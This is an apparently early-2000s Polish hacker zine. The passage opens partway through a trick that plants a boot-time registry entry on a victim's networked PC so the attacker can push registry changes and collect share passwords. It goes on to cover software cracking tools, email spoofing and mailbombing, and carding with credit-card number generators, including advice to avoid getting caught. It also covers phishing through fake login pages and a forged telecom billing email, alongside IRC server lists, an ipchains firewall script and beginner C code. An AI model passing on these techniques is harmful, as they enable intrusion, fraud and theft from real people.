Podobnie jak w przypadku pierwszej zmiennej zawsze, gdy system będzie ładowany zostanie uruchomiony program regedit.exe i wprowadzi do rejestru systemowego ofiary zmienne znajdujące się w pliku in.reg na naszym dysku. Jednakże tutaj jest to trochę bardziej skomplikowane. Gdy program nie znalazłby pliku in.reg (np. gdy będziemy mieli wyłączony komputer) na ekranie komputera ofiary pojawiłby się komunikat o błędzie. Aby tego uniknąć przed uruchomieniem regedit.exe konieczne jest sprawdzenie czy istnieje taki plik. Dlatego wartość zmiennej ma postać: 





if exist nazwapliku polecenie 


Teraz, gdy tylko będziemy chcieli wprowadzić jakieś zmiany w konfiguracji udostępnionych folderów w komputerze ofiary wystarczy przygotować odpowiedni plik in.reg, przegrać go do folderu, który udostępniamy - TAJNY$ i poczekać, aż użytkownik w sieci włączy komputer, bądź zrestartuje system. Wówczas także będziemy mogli odczytać zapis konfiguracji udostępnionych folderów, a co za tym idzie - hasła, które po starcie systemu znajdą się w pliku out.reg, na naszym dysku. Trzeba jednak pamiętać o tym, że istnieje program "Monitor sieci", który pokazuje wszystkie komputery w sieci podłączone do zasobów określonego kompa. Niestety to nie jest moje ale dam link.





k) Linki





http://www.hackerzy.glt.pl-moja oficjalna strona


http://www.small.prv.pl -strona Malego Brata


http://www.republika.pl/jfkennedy -strona JfKenedy o hackingu itp (pomoc dla lam) Filozofia


http://www.hacking.civ.pl -undergroundowy serwi i ponizsze


http://www.hacking.fun.prv.pl-zjeby


http://www.hacking.ox.pl 


http://www.phreak.prv.pl-phreak na prv


http://www.haker.pl


http://www.hackerzy.pl


http://www.cybertekk.terramail.pl





l) Forum





Wypowiedz się na forum na mojej stronce hasło kondor http://free4web.pl/FS/i/33827/ (www.hackerzy.glt.pl)





Cracking





a) Podstawy





Po pierwsze znac Assembler, nie koniecznie perfekcyjnie, ale im lepiej go poznasz i zrozumiesz tym latwiej bedziesz lamal�zabezpieczenia, i tym lepszym bedziesz crackerem. Oczywiscie musisz byc "zaznajomiony" z takimi pojeciami jak np. Rejestr, flaga, przerwanie (INT - raczej tylko pod DOS), segment, offset, liczby hexadecymalne itp. itd. ... Z polecen assemblera �najczesciej uzywane to : CMP (porownuje dwie wartosci) ; TEST (podobne do poprzedniego) ;�rozne odmiany skoku - JMP , Jx , Jxx ; CALL (wywolanie procedury) ; INT (przerwanie - pod DOS) ; NOP (nic) itp. itd.�b) Miec intuicje :)�c) Przydalo by sie poznac jakiegos doswiadczonego crackera i tam�kierowac swoje pytania i problemy.�d) Dobrze by bylo znac angielski - wiekszosc (czyt. wszystkie) FAQ sa napisane wlasnie w tym jezyku. Jesli go nie znasz ...�ucz sie czym predzej ! 





b) Przegląd faq





POLECAM :





Serie faq mNICHA (crack 1,2,3,4,5)


Crack in Java - dobry faq





WSZYSTKIE FAQ O TEMATYCE CRACKINGU SĄ NA MOJEJ STRONIE POŚWIĘCONEJ CRACKINGOWI, HACKINGOWI, PHREAKU www.hackerzy.glt.pl





c) Dissembler





Dssembler jest to program coś w rodzaju Assemblera ale ma zastosowanie odwrotne dzięki temu możemy rozłożyć każdy program na kod źródłowy oczywiście assemblerowy. Oto okno jednego z dissemblera pod windowsa :





�embed Paint.Picture ���





d) Opisy programów





SoftICE �Jest to debugger ktory pozwala ci sledzic wykonywanie sie programu�instrukcja po instrukcji w ASM ... Kazdy program obojetnie w jakim�jezyku wysokiego poziomu jest napisany np. C++ , Pascal , VBasic �musi byc przetlumaczony na ASM a potem na liczby hexadecymalne a�potem jeszcze na binaria. �Wiec w debuggerze pracujemy na poziomie ASM (aczkolwiek sa tez�przedstawione te instrukcje asm (mnemoniki) w postaci hexadecymalnej �SoftICE podczas instalacji dopisze �do autoexec.bat linijke dzieki ktorej bedzie�sie wczytywac do pamieci jeszcze przed uruchomieniem SHIT95.�Ta linijka to (jakbys przypadkowo ja wykasowal :)) :�DRIVE:\PATH\WINICE.EXE (DRIVE to litera dysku , PATH sciezka of coz).�Jak juz SHIT95 sie uruchomi to uaktywniamy SoftICE-a przez wcisniecie�Ctrl+D. I juz jestesmy w Debuggerze...





Disassembler 





... najlepszy pod SHIT98 to�W32DASM . Jest tez inny ciekawy - Sourcer 7.0 ktory wstawia swoje komentarze�do disassemblowanego pliku. Taki zdiassemblowany plik mozna od�razu skompilowac w TASM lub MASM (kompilatory Assemblera). 





e) Linki





http://www.hackerzy.glt.pl


http://www.rif.prv.pl


http://www.crack.pl


http://www.crack.site.prv.pl


http://www.cracking.pl





 Dodatek :





a) Fake Mail -czyli fałszywy list





Jak chcesz wysłać komuś z Outlloca fałszywego to robisz tak. Masz jakieś konto teraz dajesz narzędzia->konta->poczta i właściwości. W polu nazwa wpisujesz byle co. W polu e-mail wpisujesz co chcesz np. root@wp.pl i to wszystko teraz możesz z niego wysyłać fałszywe e-maile, ale w nagłówku będzie twój IP.





b) BomB E-mail





Jest to zapchanie czyjeś skrzynki wysyłając kilkaset e-mailów o tej samej treści. Do tego służy np. Listonosz fajny program można go ściągnąć z http://www.cyber-crime.nano.pl.





c) Anonimowość





Jak chcesz być anonimowy to ustaw sobie serwer proxy. Oto kilka linków :





http://www.multiproxy.org/env_check.htm


http://www.proxy.prv.pl/


http://soldierproxy.s5.com/CurrentList.htm


http://www.novelsoft.com/dark/proxy/index.html





d) IRC





Oto kilka serwerów IRC na mojej stronie jest bramka IRC





IRC.PL


warszawa.irc.pl:6667


wroclaw.irc.pl:6665-6667


krakow.irc.pl:6667,6665


poznan.irc.pl:6661-6667 (217.99.169.70)


lublin.irc.pl:6667,7776


polska.irc.pl:6666





IRCX.PL


poznan.ircx.pl:6667


bielawa.ircx.pl:6667


wroclaw.ircx.pl:6667





IRCZONE.PL


poznan.irczone.pl:6667


irc.irczone.pl:6667


alfa.irczone.pl:6667


zgora.irczone.pl:6667


krakow.irczone.pl:6667


koszalin.irczone.pl:6667


gdansk.irczone.pl:6667


bialystok.irczone.pl:6667





BOO


boo.pl:6667


irc.boo.pl:6667             


bytom.boo.pl:6667


krakow.boo.pl:6667


bialystok.boo.pl:6667


radzionkow.boo.pl:6667





IRC 4 EVER


alpha.IRC4ever.net:6667


hub.IRC4ever.net:6667


proxima.IRC4ever.net:6667


neptun.IRC4ever.net:6667


auriga.IRC4ever.net:6667


atena.IRC4ever.net:6667


alpha.provector.net:6667





PolNet


warszawa.ircnet.pl:6666 do 6669 oraz 7000


krakow.ircnet.pl:6667-6668


poznan.ircnet.pl:6667:6668


torun.ircnet.pl:6667


rzeszow.ircnet.pl:6667


bialystok.ircnet.pl:6667





HOMEIPnet


krakow.homeip.net:6667


bydgoszcz.homeip.net:6667


hub.homeip.net:6667


stargard.homeip.net:6667


nowysacz.homeip.net:6667


braniewo.homeip.net:6667


gdansk.homeip.net:6667





EFNET.PL


irc.efnet.pl:6667





FORGENET


southpark:6667


pl-opers.net:6667


mafia.irchacks.com:6667


cordec.cjb.net:6667


serwer.infinity.net.pl:6667





NetFriend


leszno.ircd.pl:6667


warszawa.ircd.pl:6667


poznan.ircd.pl:6667


wroclaw.ircd.pl:6667


wroclaw.ircd.pl:6667


lublin.ircd.pl:6667


proxima.ircd.pl:6667


platon.ircd.pl:6667


virtuo.ircd.pl:6667








ŚWIAT





DALNET


raptor.dal.net:6661,6662,6663,7000


irc.dal.net:7000


stlouis.dal.net:6665,6666,6667,7000


marvin.dal.net:6668,6669,7000


vogon.dal.net:6668,6669,7000


defiant.dal.net:7000,7001,7002,7003


scorpion.dal.net:6661,6662,6663,7000


davis.dal.net:6668,6669,7000


cyberverse.dal.net:6667,7000


voyager.dal.net:6666,6667,6668,6669,7000


spider.dal.net:6668,6669,7000,7777


mindijari.dal.net:6667,6668,6669,7000


centurion.dal.net:6668,7000,7500


hebron.dal.net:6661,6662,6663,7000


xgw.dal.net:6668,7000


uncc.dal.net:6667,6668,6669,7000


barovia.dal.net:6661,6662,6663,7000


glass.dal.net:6667,7000


webzone.dal.net:6664,6665,6668,7000


durham.dal.net:7000,7001,7002


irc.eu.dal.net:7000





EFNET


elk.nstn.ca:6667


irc.cadvision.ab.ca:6667


irc.mcgill.ca:6667


irc.cs.mun.ca:6667


irc.magic.mb.ca:6667


portal.mbnet.mb.ca:6667


irc2.magic.ca:6667


irc.vianet.on.ca:6667


irc.polymtl.ca:6667


irc.yorku.ca:6667


irc02.irc.aol.com:6667


irc2.blackened.com:6667


irc.cris.com:6667


irc.neosoft.com:6667


irc-1.netcom.com:6667


irc-2.netcom.com:6667


irc-3.netcom.com:6667


irc2-1.netcom.com:6667


irc2-2.netcom.com:6667


irc2-3.netcom.com:6667


irc.primenet.com:6667


irc.psinet.com:6667


irc.voicenet.com:6667


irc.ecn.bgu.edu:6667


azure.acsu.buffalo.edu:6667


irc.calpoly.edu:6667


irc.colorado.edu:6667


organ.ctr.columbia.edu:6667


red-dwarf.cit.cornell.edu:6667


irc.law.emory.edu:6667


irc.cnde.iastate.edu:6667


irc.ilstu.edu:6667


irc-2.mit.edu:6667


irc.pitt.edu:6667


irc.cs.rpi.edu:6667


irc.rutgers.edu:6667


irc.stanford.edu:6667


anarchy.tamu.edu:6667


irc.ucdavis.edu:6667


irc.uci.edu:6667


irc.uiuc.edu:6667


pegasus.ccs.itd.umich.edu:6667


irc.umn.edu:6667


piglet.cc.utexas.edu:6667


becker1.u.washington.edu:6667


irc.eng.yale.edu:6667


efnet.evitech.fi:6667


irc.ais.net:6667


irc3.ais.net:6667


irc.best.net:6667


opus.bridge.net:6667


irc.cdc.net:6667


irc.cerf.net:6667


irc.digex.net:6667


irc.frontiernet.net:6667


irc.gate.net:6667


noc.tor.hookup.net:6667


irc.ionet.net:6667


irc.mcs.net:6667


irc.mo.net:6667


irc.nol.net:6667


irc.phoenix.net:6667


ircd.texas.net:6667


irc.homelien.no:6667


eff.org:6667


irc.io.org:6667


irc.sintercom.org:6667


irc.gd.gu.se:6667


irc.ipro.se:6667


irc.csie.nctu.edu.tw:6667


irc.csie.ncu.edu.tw:6667


irc.nsysu.edu.tw:6667





IrCQ (IRC na serwerach ICQ)


 irc01.icq.com:6667


 irc02.icq.com:6667


 irc03.icq.com:6667


 irc04.icq.com:6667





PROSTAR


irc.webmaster.com:6667


irc.wugnet.com:6667


irc.slinknet.com:6667


irc.prostar.com:6667


irc.progressive-data.com:6667


irc.pdcomp.com:6667


irc.hko.net:6667


irc.accesscom.net:6667


irc.webzone.net:6667


irc.super-highway.net:6667


irc.spitfire.net:6667


irc.net-magic.net:6667


irc.mwweb.com:6667


irc.linkline.com:6667


irc.chariot.net.au:6667


irc.centralnet.net:6667


irc.bright.net:6667





UNDERNET


ca.undernet.org:6667


eu.undernet.org:6667


irc.ucdavis.edu:6667


irc.ucdavis.edu:6669


austin.tx.us.undernet.org:6667


ann-arbor.mi.us.undernet.org:6667


manhattan.ks.us.UnderNet.org:6667               


blacksburg.va.us.undernet.org:6667


london.uk.eu.Undernet.org:6667


montreal.qu.ca.undernet.org:6667


norman.ok.us.undernet.org:6667


phoenix.az.us.undernet.org:6667


rochester.mi.us.undernet.org:6667


stLouis.mo.us.UnderNet.org:6667


toronto.on.ca.undernet.org:6667


vancouver.bc.ca.undernet.org:6667


washington.dc.us.undernet.org:6667


okc.ok.us.undernet.org:6667


sanJose.ca.us.Undernet.Org:6667


baltimore.md.us.undernet.org:6666,6667,6668,6669





CHATNET


walnutcreek.ca.us.chatnet.org:6667


sf.ca.us.chatnet.org:6667


rockkill.sc.us.chatnet.org:6667


tupelo.ms.us.chatnet.org:6667


portland.or.us.chatnet.org:6667


losangeles.ca.us.chatnet.org:6667


chatworld.chatnet.org:6667


k9.chatnet.org:6667


slc.ut.us.chatnet.org:6667





GALAXYNET


atlanta.ga.us.galaxynet.org:6667


phantasy.us.galaxynet.org:6667


wustl.us.galaxynet.org:6667


chicago.il.us.galaxynet.org:6667


txdirect.us.galaxynet.org:6667


axis.us.galaxynet.org:6667


provo.ut.us.galaxynet.org:6667


honolulu.hi.us.galaxynet.org:6667


winternet.us.galaxynet.org:6667


sprynet.us.galaxynet.org:6667


gainesville.fl.us.galaxynet.org:6667


stlouis.mo.us.galaxynet.org:6667


punx.us.galaxynet.org:6667


madison.wi.us.galaxynet.org:6667


charlotte.nc.us.galaxynet.org:6667


bryan.tx.us.galaxynet.org:6667


Kauai.hi.us.galaxynet.org:6667


hilo.hi.us.galaxynet.org:6667


eee.ntu.sg.galaxynet.org:6667


ntu.sg.galaxynet.org:6667


pacific.sg.galaxynet.org:6667


destiny.uk.galaxynet.org:6667


borgdice.de.galaxynet.org:6667


mirage.uk.galaxynET.org:6667


gymnet.us.galaxynet.org:6667


sedona.az.us.galaxynet.org:6667


washington.us.galaxynet.org:6667


bocanet.us.galaxynet.org:6667


clever.us.galaxynet.org:6667


castlegate.us.galaxynet.org:6667


vancouver.bc.ca.galaxynet.org:6667


vader.us.galaxynet.org:6667


fortworth.tx.us.galaxynet.org:6667





NEWNET


irc.chelmsford.com:6667


irc.eskimo.com:6665,6666,6667


irc.ef.net:6667


irc.cnet-nuisance.com:6667


irc.dragon.org:6667


irc.sprintlink.co.za:6667





JUNKNET


lowell.ma.us.undernet.org:6667


portland.me.us.undernet.org:6667


toronto.on.ca.undernet.org:6667


norman-r.ok.us.undernet.org:6667


dallas.tx.us.Undernet.org:6667


chicago-r.il.us.Undernet.org:6667


springfield.mo.us.undernet.org:6667





IRCNET


irc.gate.net:6667





MSN (MICROSOFT)


mschat.msn.com:6667


publicchat.msn.com:6667


ubchmsnb01:6667





INNERNET


irc.starlink.it:6667


irc.mit.edu:6667





e) Budowa Firewalla





Firewall to program (ew. urzadzenie) zapobiegajacy nieautoryzowanemu dostepowi do twojego komputera. Przedstawie tutaj sposob na zbudowanie prostej zapory, czyli firewalla, oczywiscie pod Linuxa. W tym celu uzyje programu ipchains sluzacego do filtrowania pakietow IP (Internet Protocol), ktore sa podstawa Internetu. 





1) Troche wstepu 





Ipchains komunikuje sie z jadrem linuxa w celu filtrowania pakietow. Kazdy pakiet zawiera naglowek (header) i tresc (body). Filtracja pakietow polega na przeanalizowaniu naglowka i podjeciu odpowiedniej akcji (przepuszcza albo odrzuca). Istnieje pewna lista zasad i regul zwanych lancuchami (chains). Sa trzy rodzaje lancuchow: input, output, forward. Gdy pakiet wchodzi poprzez odpowiedni interfejs sieciowy, wtedy jadro uzywa lancucha input w celu okreslenia co z nim dalej zrobic. Jezeli ten pakiet nie zostanie odrzucony, jadro decyduje dokad go dalej przeslac- uzywany jest wtedy lancuch forward. Gdy pakiet ma byc przeslany na zewnatrz, wtedy jadro sprawdza lancuch output. 





2) Zarzadzanie firewallem 





Polega ono na zmienianiu regul za pomoca programu ipchains. Kilka komend: 





ipchains -L lancuch #wyswietla reguly dla podanego lancucha (jezeli nie podamy interesujacego nas lancucha, wtedy zostana wyswietlone reguly dla wszystkich lancuchow) 





ipchains -ML #wyswietla reguly zwiazane z maskowaniem adresow 





ipchains-save #zapamietuje aktualne ustawienia firewalla (mozna ja zapisac jako plik i wykorzystac w skrypcie uruchamiajacym firewalla) 





ipchains-restore #przywrocenie konfiguracji firewalla 





3) Parametry ipchains 





Oczywiscie jak wiadomo nalezy je wpisywac po uprzednim wpisaniu "ipchains". 





-A - dodanie reguly lub kilku regul


-D - usuniecie reguly lub kilku regul


-R - wymiana okreslonej reguly w lancuchu


-I - wstawia regule w okreslonej pozycji w lancuchu


-L - wypisuje liste wszyskich regul (we wskazanym lancuchu lub wszystkich)


-F - skasowanie wszystkich istniejacych regul z lancucha


-Z - zerowanie licznikow bajtow we wszystkich regulach lancucha


-N - tworzy nowy lancuch (o okreslonej nazie)


-P - ustawia domyslne zabezpieczenia dla wbudowanych lancuchow 


-M - lista aktualnie maskowanych polaczen


-c - sprawdza okreslony pakiet na dzialanie lancucha


-h - pomoc


-X - kasuje pusty lancuch





Parametry: 





-p nazwa_protokolu - okresla sprawdzany protokul pakietu (tcp, udp, icmp, all)


-s adres [port} - okresla zrodlo pakietu (zmienna adres moze byc adresem IP lub nazwa hosta)


-d adres [port] - okresla docelowy adres pakietu


-j cel - informuje o tym, co zrobic z pakietem:





ACCEPT - przepuszcza pakiet


DENY - odrzuca pakiet nie informujac nadawcy o jego odrzuceniu


REJECT - odrzuca pakiet informujac nadawce o jego odrzuceniu


MASQ - maskowanie adresow IP


REDIR - przekierowanie pakietu





-i nazwa - okresla nazwe interfejsu do lub z ktorego pakiet bedzie otrzymywany/wysylany 





4) Budujemy prosty firewall 





Oczywiscie bedzie to baaaaardzo prosty firewall. Trzeba utworzyc dwa pliki (skrypty). Pierwszy uruchamiajacy i drugi zatrzymujacy firewalla. 





a) Utworz plik i nazwij go firewall.on. Umiesc go w katalogu usr/local/bin (oczywiscie musisz byc zalogowany jako root). Oto tresc pliku:





#!/bin/bash


echo Uruchomienie zapory





#Kasujemy wszystkie dotychczasowe reguly oraz puste lancuchy


ipchains -F


ipchains -X





#Ustawiamy domyslne zabezpieczenia na odmowienie uslugi (zawsze w ten sposob #rozpoczynaj budowe zapory; znacznie zwieksza bezpieczenstwo)





ipchains -P input DENY


ipchains -P output DENY


ipchains -P forward DENY





#Usuwamy zakazy na interfejs loopback (korzystaja z niego niektore uslugi)





ipchains -A input -s 127.0.0.1 -j ACCEPT


ipchains -A output -s 127.0.0.1 -j ACCEPT





#Teraz mozemy udostepnic takie uslugi jak FTP czy telnet, ja dla przykladu #udostepnie telnet czyli port 23, FTP (port 21) bedzie zamkniete dla #wszystkich, ktorych IP jest rozne od 127.0.0.1 





ipchains -A input -p tcp -s 0.0.0.0/0 -d 0.0.0.0/0 23 -j ACCEPT 


ipchains -A output -p tcp -s 0.0.0.0/0 -d 0.0.0.0/0 23 -j ACCEPT





b) Utworz plik i nazwij go firewall.off. Umiesc go rownierz w usr/local/bin.


Tresc jest nastepujaca:





#!/bin/bash


echo Zatrzymywanie zapory





#Kasujemy wszelkie reguly i lancuchy ustawione przez uzytkownika





ipchains -F


ipchains -X





#Ustawiamy domyslna akceptacje wszelkich pakietow 





ipchains -P input ACCEPT


ipchains -P output ACCEPT


ipchains -P forward ACCEPT





c) Teraz ustawiamy prawa do uruchamiania tych plikow (oczywiscie jako root):





chmod 770 /usr/local/bin/firewall.*





d) Po podlaczeniu do Internetu uruchamiamy firewalla komenda "firewall.on" (mozna to zrobic tylko z poziomu roota) 





J) Uruchamiamy pliki windows spod linuxa





1.Zaczynamy od uruchomienia terminala. W oknie terminala wpisujemy polecenie





[voyager@fw2 voyager] $ Su


password:


[root@fw2 voyager]# ...





naciskamy enter, wpisujemy hasło administratora i ponownie naciskamy enter.





2.Tworzym katalog w którym zamontujemy partycje windows, wpisując polecenie mkdir /mnt/windows i naciskamy enter.





3.Montujemy partycje windows wpisując polecenie mount /dev/hda1 /mnt/windows i naciskamy enter. Opuszczamy konto roota, wpisując polecenie exit i naciskamy enter. Wpisujemy wine/mnt/windows/windows/sol.exe i naciskamy enter.





4.Gdy na ekranie pojawi się komunikat [wineserwer: chdir /home/voyager/.wine : Non such file or directory] utwórzmy brakujący katalog. Wpisujemy mkdir .wine i naciskamy enter, a potem ponownie


wine/mnt/windows/windows/sol.exe i jeszcze raz naciskamy enter. Życze miłej zabawy !!!





C/C++





a) Info








Język C++ jest uniwersalnym, nowoczesnym językiem programowania. 


Stosowane przez USA i inne kraje wobec Polski wieloletnie 


embargo COCOM'u (przeszkody w dostępie do nowoczesnej   


technologii) sprawiły m. in., że popularność OS2, UNIXa i C/C++ 


jest w Polsce do dziś nieproporcjonalnie mała, a Basica, Pascala 


i DOSa nieproporcjonalnie duża. W USA C++ już od kilku lat 


stanowi podstawowe narzędzie programistów





b) Kurs





Oto mój kurs.


Język C/C++ są głównym narzędziem programistycznym na całym świecie, więc polecam ci go się uczyć. Ja sam dopiero się ucze tego wspaniałego języka. Na początek polecam ci ściągnięcie Dev C++. Teraz spróbuj napisać pierwszy program. Oto kod :





Program 1





#include <stdio.h> <-główna funkcja


main() <-zawsze przy uruchamianiu program najpierw czyta tą funkcje


{


printf("Program jest lamerski");<-wyświetla napis


}





Program 2


#include <stdio.h>


main()


{


printf("Program by Spinacz");


getchar();<-czeka aż wciśniesz enter i się wyłącza


}





Program 3


#include<iostream.h> <-funkcja główna





void main()


{


	int a, b, c; <-definiuje zmienne liczb całkowitych


	a=5;


	b=10;


	c=a+b;


	cout << "Wartość zmiennej c="<<c; <-wyświetla napis


getchar();<-czeka aż wciśniesz enter i się wyłącza


}





U mnie na stronie będą kody źródłowe





c) Komplikatory





Programy :





Turbo C http://maly_brat_ii.w.interia.pl/Turbo_C.zip


Dev-C++  http://download.chip.pl/download_1878.html 


Borland C++ - tworzy 32 bit aplikacje oj sorry nie mam linku, bo program trochę zajmuje


Osobiście polecam Dev-C++ to poprostu wypas.


Oto okno Dev-C++





�embed Paint.Picture ���





Jest łatwy w użyciu. Zajmuje 7.89 MB ale warto go ściągnąć. Proponuje ci go ściągnąć przez Getright (1 godzina) Bez (2.50 godziny) więc jest różnica. Okno jest ładne i estetyczne. Może komplikować zarówno programy C jak i C++ (widać to na obrazie. Wszystko jest z tym programem łatwe. 





d) Linki





http://www.ps.nq.pl/main.php?dzial=cpp


http://bsd.kam.pl/~swlasik/portal/kursy.php?action=kurcv++


http://www.proterians.net.pl/~motzel/kursc/1.htm


http://www.scrypty.com/dalej.php?id=kurs_c 


http://www.cyber-crime.nano.pl


http://www.hackerz.glt.pl


http://www.small.prv.pl





Carding





a) Info





Carding-dziedzina sztuki która zajmuje sie korzystaniem z cudzej katy aby zdobyć dobra materialne.





W tej dziedzinie raczej podstaw nie potrzebujesz, chyba nie trzeba się uczyć jak kradnie się karty kredytowe ale tu przedstawie kilka kart








VISA Classic 4XXX XXX XXX XXX�VISA Gold 4XXX XXXX XXXX XXXX�Mastercard 5XXX XXXX XXXX XXXX�Discovercard 6XXX XXXX XXXX XXXX�American Express 37XX XXXXXX XXXXX�American Express Gold 3XXXXX XXXXXXXX XXXXXXX�Carte Blanche 38XXX XXXX XXXXX�DinersClub 3AXX XXXXXX XXXX�Eurocard 5XXX XXXX XXXX XXXX�JCB 35XX XXXX XXXX XXXX 





b) Co za to grozi





Carding jest nielegalny i za to możesz iść siedzieć na 5 lat może i wiecej jak cię złapią to jeszcze zabulisz kilka tysiaków grzywby więc nie daj się złapać.





c) generatory + opis





OPIS BY SMALL BROTHER





(Wybieramy Klawiatura)�I - Informacje O Programie�S - Setup :)�G - Tu Generuje Sie Numery Kart Kredytowych�V - Uprawomacnia Liczbe Kart / Robi Nie Wazny Numer Karty�E - Ekstrapoluje nowe karty z istniejacej karty �O - Produkuje Klucz PGP Do Pliku �Q - Wyjscie Do Windows/Dos��No To Tak Teraz Male Co Nie Co ;) (Moze Takze Wcisnac F - Czyli Szukanie)Wciskasz G I Piszesz Np 4402 (Visa), Pózniej Program Cie Za Pyta O Dlugosc Karty Wpiszesz Ile Ci Tam Odpowiada Enter I Na Koncu Za Pyta Cie Ile Chcesz Kart Od 0 Do 999 Wpisz I Enter I Gotowe!��Moja Ocena 8/10�Jak Cos Sie Nie Zgadza to pisz do Małego Brata








WINDOWS (Shita)





a) Rejestr





Chyba nie musze pisac co to jest rejestr tego jest pełno np. WIN FAQ ale dobrze napisze w skrócie jak chcesz go uruchomić to start-uruchom-regedit. Rejest jest to coś w rodzaju serca windowsa. Jest tam zapisywane wszystko jakie gry są zainstalowane itp. Jak coś zmieniasz w rejestrze to zawsze rób kopie zapasową. Dzieki niemu możemy zhackować sobie windowsa. 





A tu przedstawiam kilka sztuczek, które dostałem od jfkennedy-ego


Zmiany i zabezpieczenia





 a) blokada elementow systemu wartosci binarne 1


 HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Policies 





 EXPLORER





 Norun.................................Uruchom 


 NoSetFolders..........................Panel sterowania 


 NoSetTaskbar..........................Wlasciwosci paska


 NoFind................................Znajdz


 NoNetHood.............................Otoczenie sieciowe 


 NoDesktop.............................Pulpit


 NoSaveSettings........................Ulozenie ikon





 SYSTEM





 DisableRegistryTool...................Rejestr


 NoDispCPL.............................Właściwości ekranu


 NoDevMgrPage..........................System-> menadżer urządzeń


 NoSecCPL..............................Hasła





 NETWORK





 NoEntireNetwork.......................Cała sieć


 NoWorkgroupContents...................Grupy robocze


 NoNetSetup............................Właściwości sieci


 HideSharePwds.........................Hasła w gwiazdki


 NoDialIn..............................Brak możliwości odbierania tel.


 NoPrintSharing........................Udostępnianie drukarek





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._





 b) Dodawanie komponentów do paska start





 Panel sterowania.{21EC2020-3AEA-1069-A2DD-08002B30309D


 Kosz.{645FF040-5081-101B-9F08-00AA002F954E}





 c) Usuwanie komponentów z paska start 





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._


 HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer 


 nowe wartości binarne o nazwach:





 NoFavoritesMenu


 NoFind


 NoRecentDocsMenu


 NoLogOff


 ClearRecentDocsOnExit


 NoRun


 Noclose


 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._.





 d) Dodawanie komponentów do paska właściwości plików i katalogów 





 HKEY_LOCAL_MACHINE\Software\CLASSES\Directory\shell tworzymy klucz o nazwie programu 


 a w nim kolejny o nazwie command. Klikamy dwukrotnie domyślna i wpisujemy ścieżkę 


 dostępu programu. 





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._.





 e) Informacje wyświetlane w menu kontekstowym zawarte są w kluczu HKEY_CLASSES_ROOT 


 każdego rozszerzenia z osobna. Pojedyncze zdarzenia, zwane również słowami kanonicznymi, 


 przechowywane są w podkluczu shell każdej definicji klas. Standardowo Windows rozpoznaje


 następujące słowa kanoniczne:





 open - nazwa menu: Otwórz 


 openas - nazwa Otwórz z


 print - Drukuj 


 find - Znajdź 


 explore - Eksploruj 





 Domyślna nazwa menu może zostać zmieniona poprzez wpisanie wybranej przez nas nazwy w 


 polu wartości domyślnej danego zdarzenia. 





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._.





 f) Prawie każde rozszerzenia ma przypisany program, w którym ma być otwarte np. Klikając


 na  plik o rozszerzeniu txt otwiera się Notatnik. Informacje na temat wszystkich rozszerzeń


 plików i przypisanych nim zdarzeń zapisane są w kluczu HKEY_CLASSES_ROOT. Jeżeli dane 


 rozszerzenie nie ma przypisanego zdarzenia zostaje wywołana procedura domyślna zawarta 


 w podkluczu *. Wszystkie informacje o domyślnych ikonach danych rozszerzeń zawarte są 


 w podkluczach definicji klas w podkuluczach DefaultIcon. 





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._.





 g) Ukrywanie elementów panelu sterowania





 - usunąć wszystkie pliki o rozszerzeniu cpl


 - w pliku control.ini w pierwszej linijce tj.[Don’t load] znajdują się wszystkie


   niepotrzebne programy uznane za  zbędne do wyświetlania wystarczy dopisać jeden z 


   plików do lini ze znakiem "=yes"





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._.





 Oczyszczanie systemu win98/mE





 Aby system zajmował mniej miejsca warto usunąć wiele niepotrzebynch śmieci, poniżej 


 przedstawiam listę katalogów i plików, których NIE wolno usuwać. Całą resztę możemy 


 spokojnie przenieść do kosza.





 C:\





 autoexec.bat | command.com | config.sys | io.sys | msdos.sys





 Windows:\





 command | fonts | inf/other | installer | java | menu start


 pulpit | sendto | sysbckup | system/iosubsys | system32 | temp





 ROZSZERZENIA KTÓRE MOŻNA USUNĄĆ





 *.* old | *.* bak  | *.* spc | *.* 000, 001, 002 | *.* prv | *.* txt 


 *.* tmp| *.* bmp | *.* pcx | *.* ani | *.* hlp | *.* mid | *.* rtf 


 *.* scr | *.* wav | *.* wri  | *.* pif





Katalog TEMP warto reguralnie opróżniać, również z katalogu FONTS można trochę usunąć. 





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._





 Anonimowy mail 





 Procedura wysyłania kiczu: 





 a) Telnetuj sie na 25 port wybranego serwera SMTP np. telnet smtp.o2.pl 25


 b) Przywita nas jakiś text powitalny wyświetlający wersję sendmaila


 c) Nastepnię:





 HELO (uaktywnia serwer)


 MAIL FROM: adres z którego wysylamy wiadomosc


 RCPT TO: adres do krórego wysylamy wiadomosc


 DATA wpisujemy zawartosc wiadomosci


 . konczy i wysyla wiadomosci


 QUIT rozlacza sie z serwerem





 Outlook Experss 





 Narzedzia -> Konta -> Poczta (usuwamy wszystko) Dodaj-> Poczta tworzysz nowe konto 


 to wpisujesz pop3.o2.pl i smtp.o2.pl. Nastepnie wybieramy wlasciwosci i do dziela:





 NAZWA: twoja xywa (podpis)


 ORGANIZACJA: wedle uznania


 ADRES E-MAIL: falszywy adresik (bill@microsoft.com)


 ADRES ZWROTNY: wedle uznania bzdety to co wyzej





 Nasze ip pojawia się w szczegółach dlatego warto używać remailerów, które przetrzymują


 nasz list i wysyłają od siebie z innego ip adres http://hyperreal.info/cypher/remailer





 ._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._._





 Pozyskiwanie informacji 





 W celu zbierania wszelkiej maści informacji można potworzyć kilka stronek internetowych


 z logowaniem na wstępie wymagane do wejścia na stronę jest podanie m@ila i hasła. 


 Ciekawe kto poda ?





 Wysyłamy fuckmaila do znienawidzonego lamera treści: Informujemy Sz.P, że w ostatnim 


 czasie łączył  się P. przez płatny serwer xlaha 4,70 zł/min i rachunek za usługi


 internetowe wynosi 2,600 zł. Prosimy o kontakt w celu zweryfikowania danych itp. 


 Z powagą TPSA.





